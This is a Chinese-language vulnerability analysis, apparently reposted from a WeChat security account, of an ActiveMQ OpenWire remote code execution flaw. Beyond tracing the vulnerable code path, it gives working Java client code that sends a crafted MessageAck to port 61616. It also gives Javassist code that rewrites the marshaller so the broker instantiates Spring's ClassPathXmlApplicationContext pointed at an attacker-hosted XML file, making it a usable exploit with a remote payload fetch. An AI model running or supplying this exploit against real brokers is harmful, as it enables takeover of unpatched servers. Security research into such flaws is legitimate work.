经过文档对比,发现新增类OpenWireUtil#validateIsThrowable
对上级调用进行分析,比较明显的任意类构造方法调用,并且activeMQ包含了spring的相关依赖,sink点有了
该漏洞影响openwire协议,该协议是activeMQ内置的默认协议,即61616端口,该端口也是生产者消费者交互的端口
寻找入口点时发现还是挺多方法调用了sink点,通过翻阅源码和官方文档寻找到了MessageAckMarshaller类,该类是用于消息中间件的消息确认机制,简单来说就是消费者在消费了消息后会向activeMQ发送一个确认的消息,而这个确认的消息会由MessageAckMarshaller的tightUnmarshal进行解析,而tightUnmarshal会调用tightUnmarsalThrowable进行异常解析,触发到我们的sink点,且clazz和message均来自TCP协议中可控,从而rce
而客户端发送的这个确认消息本身由active客户端自动完成。但是我们可以进行类构造调用activeMQ的api主动发送一个确认消息,通过阅读文档确认需要发送的消息体的类是org.apache.activemq.state.CommandVisitor.MessageAck
直接上源码
//Class<?> modifiedClass = getClasses();
// 创建一个 ConnectionFactory 对象
ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://192.168.137.198:61616");
// 使用 ConnectionFactory 创建一个 Connection
Connection connection = factory.createConnection();
// 启动 Connection
connection.start();
// 创建一个 Session
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
// 创建一个 Destination
Destination destination = session.createQueue("MY.QUEUE");
// 创建一个消费者
MessageConsumer consumer = session.createConsumer(destination);
// 消费消息
Message message = consumer.receive();
MessageAck ack = new MessageAck((ActiveMQMessage) message, MessageAck.STANDARD_ACK_TYPE, 1);
ack.setPoisonCause(new Exception("xxxx"));
// 使用 ActiveMQConnection 的 getTransportChannel().oneway() 方法发送 MessageAck
((ActiveMQConnection)connection).getTransportChannel().oneway(ack);
// 关闭资源
consumer.close();
session.close();
connection.close();
而服务端解析的就是setPoisonCause方法所设置的类,比如这里服务端就会解析为java.lang.Exception,message为xxxx,可以看到这里设置的类只能是Throwable的子类,但是别忘了这是客户端,服务端可以是任意类,最终都会解析为字节码,可以进行随意更改,或者直接逆向协议向服务端发送字节给服务端解析
这里偷个懒不逆向协议,借助javaassit动态修改该方法org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#tightMarshalThrowable2
// 创建一个 ClassPool
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("org.apache.activemq.openwire.v12.BaseDataStreamMarshaller");
System.out.println("xxxx");
CtMethod oldMethod = cc.getDeclaredMethod("tightMarshalString2");
CtMethod cccMethod = cc.getDeclaredMethod("tightMarshalString1");
oldMethod.insertBefore("if($1 != null && $1.equals("java.lang.Exception")){$1="org.springframework.context.support.ClassPathXmlApplicationContext";}" +
"if($1 != null && $1.equals("xxxx")){$1="http://192.168.137.2:8000/xxx.xml";}");
cccMethod.insertBefore("if($1 != null && $1.equals("java.lang.Exception")){$1="org.springframework.context.support.ClassPathXmlApplicationContext";}");
//oldMethod.insertBefore("System.out.println("xxxx");");
// 将修改后的类加载到当前 ClassLoader
Class<?> modifiedClass = cc.toClass();
这段代码会让生成的字节动态修改为我们的恶意类
当然还有其它入口点吗,就不一一列举,修复方案就是跟客户端一样限制了类只能为throwable的子类
原文始发于微信公众号(非叶安全):ActiveMQ新RCE分析